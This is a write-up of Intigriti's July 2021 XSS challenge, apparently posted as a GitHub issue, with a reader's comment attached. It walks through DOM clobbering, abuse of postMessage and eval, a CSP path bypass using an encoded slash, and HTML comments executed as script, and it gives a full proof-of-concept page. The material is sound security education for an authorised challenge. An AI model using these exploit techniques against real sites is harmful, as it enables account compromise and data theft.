Writeup: Intigriti's 0721 XSS challenge - by @RootEval
aszx87410 opened this issue · comments
Challenge link: https://challenge-0721.intigriti.io/
Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html
Analysis
This project is a bit complex because there are two frames and a lot of postMessage
and onmessage
, make it harder to know how it works at first glance.
To find a XSS vulnerability, there must be a place to inject malicious payload, like innerHTML
or eval
, so I started from finding this place.
There are three pages:
- index.html
- htmledit.php
- console.php
Let's check it one by one.
index.html
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>
<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>
Besides the weird variable in the comment, DEV
and store
, nothing special.
htmledit.php
<!-- <img src=x> -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
<img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->
htmledit.php
reflects the query string code
but there is a strict CSP: script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';
, it's impossible to run JS. But it's worth noting that embed an iframe is allow. Maybe it's a hint for the player?
console.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
body, ul {
margin:0;
padding:0;
}
ul#console {
background: lightyellow;
list-style-type: none;
font-family: 'Roboto Mono', monospace;
font-size: 14px;
line-height: 25px;
}
ul#console li {
border-bottom: solid 1px #80808038;
padding-left: 5px;
}
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>
It's the most interesting one.
First, I found a eval
command here for changing variable's value:
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
// ...
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
Is it where I can inject my payload? Probably not, because it allows limited alphanumeric and symbol(only -
and +
).
Another interesting part is here:
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
// not important
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
If safe
is true, the data
won't be sanitized and we can inject arbitrary HTML. I believe here is the key, so my goal is to execute log function with arbitrary data and let safe
be true.
Before that, we need to know that JavaScript has no named parameters, don't be confused!
For example, when we call log("[logv]: ", window[m.message], safe=false, type='info');
, the argument is actually by order, so prefix
is "[logv]: "
, data
is window[m.message]
, type
is false
and safe
is 'info'
Anyway, I decided to start from find a way to run log
function, and it's obviously that I can postMessage
to it's window to run the command.
But I need to bypass some checks first.
Bypass "top" check
First, I need to embed this page in an iframe:
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
Second, there are two more checks I need to bypass:
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
// ...
}
} catch {
// hide this script on production
document.currentScript.remove();
}
top.DEV
should be truthy, and the credentials I send in should match top.store.users.admin.username
and top.store.users.admin.password
.
It's easy, just write my own HTML page and set these variables, embed console.php
in an iframe, and then post message to it, right?
Nope, it's not gonna work because of Same-Origin Policy. When console.php
tries to access top.DEV
, it's blocked by browser because top window is in another domain.
So we need a same origin page where we can embed an iframe and also set global variables. htmledit.php
is the one.
DOM clobbering
There is a technique called DOM clobbering, it utilizes a feature which turns a DOM element with id to global variable.
For example, when you have <div id="a"></div>
in your HTML, you can access it in JS via window.a
or just a
.
If you can read Mandarin, you can check my blog post 淺談 DOM Clobbering 的原理及應用 and another great article by Zeddy: 使用 Dom Clobbering 扩展 XSS. If you can't, check this: DOM Clobbering strikes back
It's a little bit troublesome to achieve multi-level DOM clobbering, you need to use iframe + srcdoc, here is my payload:
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
So top.DEV
is a
element, store
is the iframe, store.users
is HTML collections of <a>
, store.users.admin
is the a
, and store.users.admin.username
is the URL username in href
, which is a
, it's the same for password.
I built a simple page to open a new window, so that htmledit.php
is the top window and I can still post message to it:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'test',
credentials
}, '*')
}, 5000)
</script>
</body>
</html>
By far, I can send message to console.php
. But, it's only the beginning.
Pass arbitrary data and safe=true
In order to let safe
be true, I need to find a function call with 4 parameters:
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
log("[logv]: ", window[m.message], safe=false, type='info')
is what I need, the fourth parameter is info
which is truthy. data
is window[m.message]
, so I need to set my payload to a global variable.
I stuck here for a long time because I can't find one. window.name
is usually a good candidate but this page set it's window name so I can't use it.
location
is another candidate but log
checks if data
is string, if not, it turns it into a string via JSON.stringify
, which encoded <>
.
I checked the code again and again, try to find out the missing puzzle. Finally, I found one.
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
Can you find a bug in the code above?
for (x of access) {
, it's a common bug for newbie, when you forgot to declare x
, it will be a global variable. In this case, x
is top.store.users.admin
, which is the <a>
element.
Build payload
If we cast an <a>
element to string, the return value is a.href
. It's a common technique in DOM clobbering. So we can pass our payload inside href
.
But, remember that log
checks the type of data? The type of x
is DOM element, hence failed the check. I need to find a way to make it a string.
Fortunately, there is another command I can utilize:
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
I can do this:
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
Because of JS "coercion", x+1
returns a string, so now Z
is a string contains our href
. Now, I can send whatever data I want.
But wait, it's encoded because it's a URL, <
will be %3C
.
var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1
What should I do?
In log
function, there is one line data = parse(data)
, and here is the parse function:
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
If e
is string, it returns s(e)
where s is let s = (s) => s.normalize('NFC');
When I reviewed the source code of reassign command, I noticed this regexp: RegExp = /^[s-zA-Z-+0-9]+$/;
, and I also noticed these four functions:
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
s
, u
and t
is allowed to use. So, we can utilize reassign
command again, to let s=u
, so our data can be unescaped!
Full source code is like this:
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
// s=u
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
// Z=x+1 so Z = x.href + 1
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
// log window[Z]
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 5000)
So the data is ftp://a:a@a#<img src=x onerror=alert(1)>
, and the data is assigned to text_tag.innerHTML
, XSS triggered!
Oh...not that easy, I forgot CSP.
Bypass CSP
Indeed, I can inject anything to HTML for now, but there is one more thing I need to do: bypass CSP.
The CSP is:
script-src 'nonce-4298c066cafb9760ea824427b44e583f' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';
There is no unsafe-inline
so inline event won't work. https://challenge-0721.intigriti.io/analytics/
is suspicious, what is this?
This JS https://challenge-0721.intigriti.io/analytics/main.js
is included but almost nothing inside.
Actually, when I saw this CSP rule, I know what to do instantly. Because I know there is a way to bypass CSP path using %2f
(url encoded /
).
Take this URL: https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php
as an example, to browser, it's under analytics
path so pass CSP, but for server it's analytics/../htmledit.php
, so we actually load resource from different path!
But what should I include? htmledit.php
is HTML, not JS...really?
If you look carefully, htmledit.php
prints escaped input in HTML comment, like this:
<!-- <img src=x> -->
....
In some cases, HTML comment is also a valid JS comment, as per ECMAScript:
In other words, we can make this HTML a valid JS script!
Here is the url I used: https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*
, it respond following HTML:
<!-- 1; this line is comment as well
top.alert(document.domain);/* -->
<!DOCTYPE html>
<html lang="en">
<head>
...not important because it's all comment
After /*
it's all comment, so the whole script is top.alert(document.domain);
basically. So now, I can include this url as JS script to run arbitrary code and bypass CSP.
Please note that the content type of htmledit.php
is still text/html
, but it's fine since it's same origin. If you want to include a page with content type text/html
as JS , you will get a CORB error.
It seems great, now we can inject an script to pop alert, right?
Unfortunately, not yet.
Final step
I thought I solve the challenge after I found this clear way to inject script, but somehow it doesn't work.
According to this stack overflow thread, the <script>
tag won't load if you inserted with innerHTML.
I don't know how to do so I googled innerhtml import script
, innerhtml script run
and so on, but found nothing useful.
After a while, It occurred to me that how about our old friend <iframe srcdoc>
? What if I put the script tag inside srcdoc?
So, I tried this way and it works like a charm.
Put it all together
Just one small thing to say, before I submit the answer I found that my exploit doesn't work on Firefox.
<a id="users"></a>
<a id="users" name="admin" href="a"></a>
For window.users
, Chrome returns HTMLCollection while Firefox returns first <a>
only, so users.admin
is undefined on Firefox.
It's not a big deal, just use another iframe:
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>
Following is my exploit in the end:
Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
">
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait for 3s to let window loaded
setTimeout(() => {
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 3000)
</script>
</body>
</html>
It's a great and awesome challenge, to me it's like a game with 5 levels, I need to solve every levels and put it together to really win this game.
I spent about 2 days on this challenge and every time I stuck, I checked the source code again, reviewed one line after another until I found something new. Surprisingly, there is always something new!
Thanks @RootEval for creating such amazing challenge, and also thanks Intigriti for hosting this event.
One could also use the type variable of the "log" command to transfer the payload
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
<iframe onload="setTypeVar();logType()" src="https://challenge-0721.intigriti.io/console.php"></iframe>
<script>
function setTypeVar(){
frames[0].postMessage({
cmd: 'log',
message: {
type: `<iframe srcdoc='<script src=/analytics/..%2f/htmledit.php?code=a%0aalert(document.domain)/*></`+`script>'</iframe>`,
text: "a",
},
credentials: {
username: 'root',
password: 'toor'
}
},"*")
}
function logType(v){
frames[0].postMessage({
cmd:"logv",
message: 'type',
credentials: {
username: 'root',
password: 'toor'
}
},"*")
}
</script>